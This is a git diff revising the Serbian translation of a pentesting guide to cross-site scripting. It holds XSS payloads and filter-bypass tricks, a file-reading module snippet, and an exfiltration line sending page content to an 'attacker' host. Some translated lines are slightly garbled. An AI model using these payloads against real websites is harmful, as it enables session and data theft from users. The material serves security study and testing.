diff --git a/pentesting-web/xss-cross-site-scripting/README.md b/pentesting-web/xss-cross-site-scripting/README.md index be15ad7d4..118b5d816 100644 --- a/pentesting-web/xss-cross-site-scripting/README.md +++ b/pentesting-web/xss-cross-site-scripting/README.md @@ -26,12 +26,12 @@ Ako vas zanima **karijera u hakovanju** i da hakujete nehakovano - **zapošljava 3. Unutar **JavaScript koda**: 1. Možete li pobjeći iz ``** o ``` #### Javascript Hoisting -Javascript Hoisting se odnosi na mogućnost da **deklarirate funkcije, promenljive ili klase nakon što su korišćene kako biste mogli da zloupotrebite scenarije gde XSS koristi nedeklarisane promenljive ili funkcije.**\ +Javascript Hoisting se odnosi na mogućnost da **deklarirate funkcije, promenljive ili klase nakon što su korišćene, tako da možete zloupotrebiti scenarije gde XSS koristi nedeklarisane promenljive ili funkcije.**\ **Pogledajte sledeću stranicu za više informacija:** {% content-ref url="js-hoisting.md" %} @@ -100,7 +100,7 @@ Javascript Hoisting se odnosi na mogućnost da **deklarirate funkcije, promenlji Nekoliko web stranica ima krajnje tačke koje **prihvataju kao parametar ime funkcije koja treba da se izvrši**. Uobičajen primer koji se može videti u praksi je nešto poput: `?callback=callbackFunc`. -Dobar način da saznate da li nešto što je korisnik direktno uneo pokušava da se izvrši je **modifikovanje vrednosti parametra** (na primer na 'Vulnerable') i gledanje u konzoli za greške poput: +Dobar način da saznate da li nešto što je direktno dato od strane korisnika pokušava da se izvrši je **modifikovanje vrednosti parametra** (na primer na 'Vulnerable') i gledanje u konzoli za greške poput: ![](<../../.gitbook/assets/image (711).png>) @@ -157,24 +157,24 @@ Neki **primeri**: Kada se vaš unos odražava **unutar HTML stranice** ili možete da pobegnete i umetnete HTML kod u ovom kontekstu, **prva** stvar koju treba da uradite je da proverite da li možete da zloupotrebite `<` da kreirate nove oznake: Samo pokušajte da **odrazite** taj **karakter** i proverite da li je **HTML kodiran** ili **izbrisan** ili ako je **odražen bez promena**. **Samo u poslednjem slučaju ćete moći da iskoristite ovaj slučaj**.\ Za ove slučajeve takođe **imajte na umu** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ -_**Napomena: HTML komentar se može zatvoriti koristeći**** ****`-->`**** ****ili**** ****`--!>`**_ +_**Napomena: HTML komentar se može zatvoriti koristeći\*\*\*\***** ****`-->`**** ****ili \*\*\*\*****`--!>`**_ -U ovom slučaju i ako se ne koristi crna/bela lista, mogli biste koristiti payloads kao: +U ovom slučaju i ako se ne koristi crna/bela lista, mogli biste koristiti payload-e kao: ```html ``` -Ali, ako se koristi crna/bela lista tagova/atributa, moraćete da **brute-forcujete koje tagove** možete kreirati.\ -Kada **locirate koji tagovi su dozvoljeni**, moraćete da **brute-forcujete atribute/događaje** unutar pronađenih validnih tagova da vidite kako možete napasti kontekst. +Ali, ako se koristi crna/bela lista tagova/atributa, moraćete da **napravite brute-force koji tagovi** možete kreirati.\ +Kada **locirate koji tagovi su dozvoljeni**, moraćete da **napravite brute-force atribute/događaje** unutar pronađenih validnih tagova da vidite kako možete napasti kontekst. ### Brute-force tagova/događaja -Idite na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknite na _**Copy tags to clipboard**_. Zatim, pošaljite sve njih koristeći Burp intruder i proverite da li neki tag nije otkriven kao zlonameran od strane WAF-a. Kada otkrijete koje tagove možete koristiti, možete **brute-forcovati sve događaje** koristeći validne tagove (na istoj web stranici kliknite na _**Copy events to clipboard**_ i pratite istu proceduru kao pre). +Idite na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknite na _**Kopiraj tagove u međuspremnik**_. Zatim, pošaljite sve njih koristeći Burp intruder i proverite da li neki tag nije otkriven kao zlonameran od strane WAF-a. Kada otkrijete koje tagove možete koristiti, možete **napraviti brute-force sve događaje** koristeći validne tagove (na istoj web stranici kliknite na _**Kopiraj događaje u međuspremnik**_ i pratite istu proceduru kao pre). ### Prilagođeni tagovi -Ako niste pronašli nijedan validan HTML tag, možete pokušati da **kreirate prilagođeni tag** i izvršite JS kod sa `onfocus` atributom. U XSS zahtevu, morate završiti URL sa `#` da biste naterali stranicu da **fokusira na taj objekat** i **izvrši** kod: +Ako niste pronašli nijedan validan HTML tag, možete pokušati da **napravite prilagođeni tag** i izvršite JS kod sa `onfocus` atributom. U XSS zahtevu, morate završiti URL sa `#` da biste naterali stranicu da **fokusira na taj objekat** i **izvrši** kod: ``` /?search=#x ``` @@ -247,7 +247,7 @@ To check in which characters are decomposed check [here](https://www.compart.com ### Click XSS - Clickjacking -If in order to exploit the vulnerability you need the **user to click a link or a form** with prepopulated data you could try to [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (if the page is vulnerable). +If in order to exploit the vulnerability you need the **korisnik to click a link or a form** with prepopulated data you could try to [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (if the page is vulnerable). ### Impossible - Dangling Markup @@ -275,12 +275,12 @@ If you **cannot escape from the tag**, you could create new attributes inside th ``` ### Unutar atributa -Čak i ako **ne možete da pobegnete iz atributa** (`"` se kodira ili briše), u zavisnosti od **tog atributa** u kojem se vaša vrednost odražava **ako kontrolišete celu vrednost ili samo deo** moći ćete da ga zloupotrebite. Na **primer**, ako kontrolišete događaj kao što je `onclick=`, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne.\ +Čak i ako **ne možete da pobegnete iz atributa** (`"` se kodira ili briše), u zavisnosti od **tog atributa** u kojem se vaša vrednost odražava **ako kontrolišete celu vrednost ili samo deo** moći ćete da je zloupotrebite. Na **primer**, ako kontrolišete događaj kao što je `onclick=`, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne.\ Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`** **Zaobilaženje unutar događaja koristeći HTML kodiranje/URL kodiranje** -**HTML kodirani karakteri** unutar vrednosti atributa HTML oznaka se **dekodiraju u vreme izvršavanja**. Stoga nešto poput sledećeg će biti važeće (payload je u podebljanom): `Vrati se ` +**HTML kodirani karakteri** unutar vrednosti atributa HTML oznaka se **dekodiraju u vreme izvršavanja**. Stoga nešto poput sledećeg će biti validno (payload je u podebljanom): `Vrati se ` Napomena da je **svaka vrsta HTML kodiranja validna**: ```javascript @@ -355,11 +355,11 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc ``` **Ostali trikovi obfuskacije** -_**U ovom slučaju, HTML kodiranje i Unicode kodiranje trik iz prethodnog odeljka su takođe validni jer ste unutar atributa.**_ +_**U ovom slučaju, HTML kodiranje i trik sa Unicode kodiranjem iz prethodnog odeljka su takođe validni jer ste unutar atributa.**_ ```javascript ``` -Pored toga, postoji još jedan **lepi trik** za ove slučajeve: **Čak i ako je vaš unos unutar `javascript:...` URL kodiran, biće URL dekodiran pre nego što se izvrši.** Dakle, ako treba da **izbegnete** iz **niza** koristeći **jednostruki navodnik** i vidite da **je URL kodiran**, zapamtite da **to nije važno,** biće **tumačeno** kao **jednostruki navodnik** tokom **vremena izvršenja.** +Pored toga, postoji još jedan **lepi trik** za ove slučajeve: **Čak i ako je vaš unos unutar `javascript:...` URL kodiran, biće URL dekodiran pre nego što se izvrši.** Dakle, ako treba da **izbegnete** iz **niza** koristeći **jednostruki navodnik** i vidite da **je URL kodiran**, zapamtite da **nije važno,** biće **tumačeno** kao **jednostruki navodnik** tokom **vremena izvršenja.** ```javascript '-alert(1)-' %27-alert(1)-%27 @@ -369,7 +369,7 @@ Napomena da ako pokušate da **koristite oba** `URLencode + HTMLencode` u bilo k **Korišćenje Hex i Octal kodiranja sa `javascript:`** -Možete koristiti **Hex** i **Octal kodiranje** unutar `src` atributa `iframe` (barem) da deklarirate **HTML tagove za izvršavanje JS**: +Možete koristiti **Hex** i **Octal kodiranje** unutar `src` atributa `iframe` (barem) da deklarisate **HTML tagove za izvršavanje JS**: ```javascript //Encoded: // This WORKS @@ -381,7 +381,7 @@ Možete koristiti **Hex** i **Octal kodiranje** unutar `src` atributa `iframe` ( ``` -### Obrnuto tab nabbing +### Obrnuto nabbing taba ```javascript //No safari @@ -411,7 +411,7 @@ Android: %09 %20 %28 %2C %3B ``` ### XSS u "neiskoristivim tagovima" (skriveni unos, link, kanonički, meta) -Sa [**ovde**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sada je moguće zloupotrebiti skrivene unose sa:** +Iz [**ovde**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sada je moguće zloupotrebiti skrivene unose sa:** ```html
Newsletter popup
``` -Sa [**ovde**](https://portswigger.net/research/xss-in-hidden-input-fields): Možete izvršiti **XSS payload unutar skrivenog atributa**, pod uslovom da možete **ubediti** **žrtvu** da pritisne **kombinaciju tastera**. Na Firefox Windows/Linux kombinacija tastera je **ALT+SHIFT+X**, a na OS X je **CTRL+ALT+X**. Možete odrediti drugačiju kombinaciju tastera koristeći drugi taster u atributu pristupa. Evo vektora: +Sa [**ovde**](https://portswigger.net/research/xss-in-hidden-input-fields): Možete izvršiti **XSS payload unutar skrivenog atributa**, pod uslovom da možete **uveriti** **žrtvu** da pritisne **kombinaciju tastera**. Na Firefox Windows/Linux kombinacija tastera je **ALT+SHIFT+X**, a na OS X je **CTRL+ALT+X**. Možete odrediti drugačiju kombinaciju tastera koristeći drugi taster u atributu pristupa. Evo vektora: ```markup ``` @@ -440,13 +440,13 @@ Nekoliko trikova sa korišćenjem različitih kodiranja je već izloženo unutar * **Hex i Oktalno kodiranje** * **data kodiranje** -**Obilaženja za HTML tagove i atribute** +**Obilaženje za HTML tagove i atribute** -Pročitajte [Obilaženja crne liste iz prethodne sekcije](./#blacklist-bypasses). +Pročitajte [Obilaženje crne liste iz prethodne sekcije](./#blacklist-bypasses). -**Obilaženja za JavaScript kod** +**Obilaženje za JavaScript kod** -Pročitajte [crnu listu obilaženja za JavaScript iz sledeće sekcije](./#javascript-bypass-blacklists-techniques). +Pročitajte [crnu listu obilaženja JavaScript-a iz sledeće sekcije](./#javascript-bypass-blacklists-techniques). ### CSS-Gadgets @@ -478,11 +478,11 @@ Ako je vaš kod umetnut unutar ` ``` -Napomena da u ovom primeru **nismo čak ni zatvorili jednostruki navodnik**. To je zato što **HTML parsiranje prvo vrši pregledač**, što uključuje identifikaciju elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a da bi se razumele i izvršile ugrađene skripte se vrši tek kasnije. +Napomena da u ovom primeru **nismo ni zatvorili jednostruki navodnik**. To je zato što **HTML parsiranje prvo vrši pregledač**, što uključuje identifikaciju elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a da bi se razumele i izvršile ugrađene skripte se vrši tek kasnije. ### Unutar JS koda -Ako se `<>` sanitizuju, još uvek možete **pobeći string** gde se vaš unos **nalazi** i **izvršiti proizvoljni JS**. Važno je **ispraviti JS sintaksu**, jer ako postoje greške, JS kod neće biti izvršen: +Ako se `<>` sanitizuju, još uvek možete **izbeći string** gde se vaš unos **nalazi** i **izvršiti proizvoljni JS**. Važno je **ispraviti JS sintaksu**, jer ako postoje greške, JS kod neće biti izvršen: ``` '-alert(document.domain)-' ';alert(document.domain)// @@ -673,7 +673,7 @@ try{throw onerror=alert}catch{throw 1} * [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) * [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) -**Poziv proizvoljne funkcije (alert)** +**Arbitrarni poziv funkcije (alert)** ````javascript //Eval like functions eval('ale'+'rt(1)') @@ -735,7 +735,7 @@ top[8680439..toString(30)](1) ```` ## **DOM ranjivosti** -Postoji **JS kod** koji koristi **nesigurne podatke koje kontroliše napadač** kao što je `location.href`. Napadač može zloupotrebiti ovo da izvrši proizvoljan JS kod.\ +Postoji **JS kod** koji koristi **nesigurne podatke koje kontroliše napadač** kao što je `location.href`. Napadač može iskoristiti ovo da izvrši proizvoljan JS kod.\ **Zbog proširenja objašnjenja o** [**DOM ranjivostima, premešteno je na ovu stranicu**](dom-xss.md)**:** {% content-ref url="dom-xss.md" %} @@ -749,7 +749,7 @@ Takođe, ne zaboravite da **na kraju pomenutog posta** možete pronaći objašnj ### Cookie XSS -Ako možete izazvati XSS slanjem payload-a unutar kolačića, to je obično self-XSS. Međutim, ako pronađete **ranjivi poddomen za XSS**, mogli biste zloupotrebiti ovaj XSS da injektujete kolačić u celu domenu, uspevajući da izazovete cookie XSS u glavnoj domeni ili drugim poddomenima (onim ranjivim na cookie XSS). Za ovo možete koristiti napad cookie tossing: +Ako možete izazvati XSS slanjem payload-a unutar kolačića, ovo je obično self-XSS. Međutim, ako pronađete **ranjivi poddomen za XSS**, mogli biste iskoristiti ovaj XSS da injektujete kolačić u celu domenu, uspevajući da izazovete cookie XSS u glavnoj domeni ili drugim poddomenima (onim ranjivim na cookie XSS). Za ovo možete koristiti napad cookie tossing: {% content-ref url="../hacking-with-cookies/cookie-tossing.md" %} [cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md) @@ -761,11 +761,11 @@ Možete pronaći sjajnu zloupotrebu ove tehnike u [**ovom blog postu**](https:// Možda korisnik može podeliti svoj profil sa administratorom i ako je self XSS unutar profila korisnika, a administrator mu pristupi, on će izazvati ranjivost. -### Odbijanje sesije +### Održivost sesije -Ako pronađete neki self XSS i web stranica ima **odbacivanje sesije za administratore**, na primer, omogućavajući klijentima da traže pomoć, kako bi administrator mogao da vam pomogne, videće ono što vi vidite u svojoj sesiji, ali iz svoje sesije. +Ako pronađete neki self XSS i web stranica ima **održivost sesije za administratore**, na primer, omogućavajući klijentima da traže pomoć, kako bi administrator mogao da vam pomogne, videće ono što vi vidite u svojoj sesiji, ali iz svoje sesije. -Možete naterati **administratora da izazove vaš self XSS** i ukradete njegove kolačiće/sesiju. +Možete naterati **administratora da izazove vaš self XSS** i ukrade njegove kolačiće/sesiju. ## Ostali zaobilaženja @@ -779,7 +779,7 @@ Možete proveriti da li su **reflektovane vrednosti** **unicode normalizovane** ``` ### Ruby-On-Rails bypass -Zbog **RoR masovne dodeljivanje** citati se ubacuju u HTML, a zatim se zaobilazi ograničenje citata i dodatna polja (onfocus) mogu biti dodata unutar taga.\ +Zbog **RoR masovne dodeljivanja** citati se ubacuju u HTML, a zatim se zaobilazi ograničenje citata i dodatna polja (onfocus) mogu biti dodata unutar taga.\ Primer forme ([iz ovog izveštaja](https://hackerone.com/reports/709336)), ako pošaljete payload: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa @@ -822,9 +822,9 @@ document['default'+'View'][`\u0061lert`](3) ``` ### XSS sa injekcijom zaglavlja u 302 odgovoru -Ako otkrijete da možete **injektovati zaglavlja u 302 Redirect odgovoru**, možete pokušati da **naterate pregledač da izvrši proizvoljni JavaScript**. Ovo **nije trivijalno** jer moderni pregledači ne interpretiraju telo HTTP odgovora ako je statusni kod HTTP odgovora 302, tako da je samo payload za cross-site scripting beskoristan. +Ako otkrijete da možete **injektovati zaglavlja u 302 Redirect odgovoru**, možete pokušati da **naterate pregledač da izvrši proizvoljni JavaScript**. Ovo je **nije trivijalno** jer moderni pregledači ne interpretiraju telo HTTP odgovora ako je statusni kod HTTP odgovora 302, tako da je samo payload za cross-site scripting beskoristan. -U [**ovom izveštaju**](https://www.gremwell.com/firefox-xss-302) i [**ovom**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako možete testirati nekoliko protokola unutar Location zaglavlja i videti da li neki od njih omogućava pregledaču da ispita i izvrši XSS payload unutar tela.\ +U [**ovoj izveštaju**](https://www.gremwell.com/firefox-xss-302) i [**ovom**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako možete testirati nekoliko protokola unutar Location zaglavlja i videti da li neki od njih omogućava pregledaču da ispita i izvrši XSS payload unutar tela.\ Poznati protokoli: `mailto://`, `//x:1/`, `ws://`, `wss://`, _prazno Location zaglavlje_, `resource://`. ### Samo slova, brojevi i tačke @@ -833,7 +833,7 @@ Ako ste u mogućnosti da naznačite **callback** koji će JavaScript **izvršiti ### Validni ` ``` -The answer is: - * **modul** (podrazumevano, nema potrebe za objašnjenjem) -* [**webbundle**](https://web.dev/web-bundles/): Web Bundles je funkcija koja vam omogućava da pakujete gomilu podataka (HTML, CSS, JS…) zajedno u **`.wbn`** datoteku. +* [**webbundle**](https://web.dev/web-bundles/): Web Bundles je funkcija koja vam omogućava da pakujete skup podataka (HTML, CSS, JS…) zajedno u **`.wbn`** datoteku. ```html ``` -Ovo ponašanje je korišćeno u [**ovoj analizi**](https://github.com/zwade/yaca/tree/master/solution) da se premapira biblioteka na eval kako bi se zloupotrebilo i moglo da izazove XSS. +Ovo ponašanje je korišćeno u [**ovoj analizi**](https://github.com/zwade/yaca/tree/master/solution) da se preusmeri biblioteka na eval kako bi se zloupotrebilo i moglo da izazove XSS. * [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ova funkcija je uglavnom namenjena rešavanju nekih problema uzrokovanih pre-renderovanjem. Radi ovako: ```html @@ -998,7 +996,7 @@ import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8"))) // our actual module code }); ``` -Zato, ako iz tog modula možemo **pozvati drugu funkciju**, moguće je koristiti `arguments.callee.caller.arguments[1]` iz te funkcije da pristupimo **`require`**: +Stoga, ako iz tog modula možemo **pozvati drugu funkciju**, moguće je koristiti `arguments.callee.caller.arguments[1]` iz te funkcije da pristupimo **`require`**: {% code overflow="wrap" %} ```javascript @@ -1045,7 +1043,7 @@ trigger() ``` ### Obfuscation & Advanced Bypass -* **Različite obfuskacije na jednoj stranici:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) +* **Različite obfuscacije na jednoj stranici:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) * [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) * [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs) * [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) @@ -1133,7 +1131,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) xhr.open('GET', url, true); xhr.send(null); ``` -### Pronađite interne IP adrese +### Pronađi interne IP adrese ```html